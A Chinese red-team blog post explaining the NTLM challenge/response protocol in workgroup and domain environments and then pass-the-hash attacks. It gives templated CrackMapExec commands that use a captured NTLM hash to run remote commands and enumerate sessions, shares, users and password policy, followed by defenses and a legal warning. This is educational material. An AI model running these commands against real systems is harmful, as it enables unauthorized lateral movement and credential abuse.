红队笔记之Windows网络认证NTLM协议浅析

在这里插入图片描述

NTLM 协议

NTLM协议是在Microsoft环境中使用的一种身份验证协议,它允许用户向服务器证明自己是谁(挑战(Chalenge)/响应(Response)认证机制),以便使用该服务器提供的服务。

在本文中,术语“服务器”是在客户端/服务器意义上使用的,“服务器”很可能是另一台PC。

NTLM协议的认证过程分为三步:

  • 协商:主要用于确认双方协议版本。
  • 质询:就是挑战(Chalenge)/响应(Response)认证机制起作用的范畴。
  • 验证:验证主要是在质询完成后,验证结果,是认证的最后一步。

在使用NTLM协议针对用户进行身份验证时,有两种可能的情况(下个小节进行详细说明):

  • 工作组环境:用户使用服务器的本地帐户的凭据,在这种情况下,服务器在其本地数据库中便含有用户的秘密,将能够对用户进行身份验证。
  • 域环境:用户在身份验证期间使用域帐户,在这种情况下,服务器必须要求域控制器验证用户提供的信息。

NTLM 协议在工作组环境下的应用

协商:
  • 这个过程是客户端向服务器发送(协商)消息,它主要包含客户端支持和服务器请求的功能列表。
质询Chalenge/Response与验证:

image-20211018134919900

  • 1、客户端向服务器端发送用户信息(用户名)请求
  • 2、服务器接受到请求,生成一个16位的随机数,被称之为“Challenge”, 使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1。同时,生成Challenge1后,将Challenge(16位随机 字符)发送给客户端。
  • 3、客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
  • 4、验证是服务器端收到客户端的Response后,比对Chanllenge1与Response是否相等,若相等,则认证通过。

1、Chanllenge是Server产生的一个16字节的随机数,每次认证都不同

2、Response的表现形式是Net-NTLM Hash,它是由客户端提供的密码Hash加密Server返回的Chanllenge产生的结果。

NTLM 协议在域环境下的应用

当使用域帐户进行身份验证时,用户的NTLM Hash不再存储在服务器上,而是存储在域控制器上。所以整个认证的过程需要与域控制器进行交互。

协商:
  • 这个过程是客户端向服务器发送(协商)消息,它主要包含客户端支持和服务器请求的功能列表。
质询Chalenge/Response与验证:

image-20211018140831836

  • 1、客户端向服务器端发送用户信息(用户名)请求
  • 2、服务器接受到请求,生成一个16位的随机数,被称之为“Challenge”, 将Challenge(16位随机 字符)发送给客户端。
  • 3、客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
  • 4、服务端向域控(DC)发送用户名、返回给客户端的Challenge、客户端发来的Response
  • 5、域控(DC)用本地数据库(NTDS.dit)里的请求验证的用户名对应的NTLM Hash加密Challenge,将结果与Response比对,然后将验证结果返回给服务端
  • 6、服务端再将结果消息返回给客户端

哈希传递PTH(Pass The Hash)

PTH原理

在NTLM 协议的验证过程中虽然没有明文传递密码,但是却使用了明文密码的等价物NTLM Hash,所以在不知道明文密码但是获取到NTLM Hash的情况即可完成身份的认证,这种认证方式因为传递的事hash值故成为哈希传递。

其实哈希传递就是使用用户名对应的NTLM Hash将服务器给出的 Chanllenge加密,生成一个Response,来完成认证。

PTH条件

Pass The Hash - 必要条件

  • 哈希传递需要被认证的主机能够访问到服务器
  • 哈希传递需要知道并传递被认证主机的用户名
  • 哈希传递需要知道并传递被认证用户的NTLM Hash

PTH利用

PTH利用工具较多,如CrackMapExec,Smbmap,Smbexec,Metasploit等,以下以CrackMapExec(如何安装不在此介绍)进行举例;

crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  -x 接对应指令

如图在kali中调用CrackMapExec执行whoami

image-20211018165706805

CrackMapExec其他常用指令

# Sessions枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash} --sessions
# 共享枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --shares
# 磁盘枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --disk
# 登录用户枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --loggedon-users
# RID爆破枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --rid-brute
# 域用户枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --users
# 组枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash} --groups
# 本地组枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --local-groups
# 域密码策略枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --pass-pol

PTH防御

1、windows安装kb2871997补丁

2、使用Kerberos认证代替NTLM认证

3、开启PAC(Privileged Attribute Certificate)特权属性证书保护功能

为了您和您家人的幸福,请在用户授权情况下开展渗透测试!

中华人民共和国刑法

第二百八十五条
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
第二百八十六条
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Goby红队版POC是一个专门为红队渗透测试设计的工具。红队渗透测试是指模拟攻击者的技术和策略来评估组织的网络安全防御能力,并识别潜在的漏洞和弱点。Goby红队版POC通过发现、测试和利用网络系统和应用程序中的漏洞,帮助安全团队更好地保护组织的网络。 Goby红队版POC的主要功能包括漏洞扫描、漏洞检测和漏洞利用。它可以扫描网络目标,查找可能存在的漏洞,并生成详细的报告。与传统的漏洞扫描工具不同,Goby红队版POC还具备漏洞检测的能力,可以通过发送特定的网络数据包来检测目标系统的漏洞。同时,它还提供了漏洞利用的功能,可以自动化地利用漏洞攻击目标系统,以验证漏洞的存在性,并帮助安全团队修补这些漏洞。 Goby红队版POC还具备一个直观的用户界面,使安全团队能够方便地管理和执行渗透测试任务。它提供了多种方式来配置和管理扫描任务,包括选择扫描目标、设置扫描选项、编写自定义POC等。同时,它还支持生成漏洞报告,以便安全团队更好地识别和修补漏洞。 总之,Goby红队版POC是一款功能强大的红队渗透测试工具,能够帮助安全团队发现和利用网络系统和应用程序中的漏洞,提高组织的网络安全防御能力。它的直观用户界面和丰富的功能使得安全团队能够更加高效地管理和执行渗透测试任务,并根据测试结果采取相应的修补措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

方寸明光

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值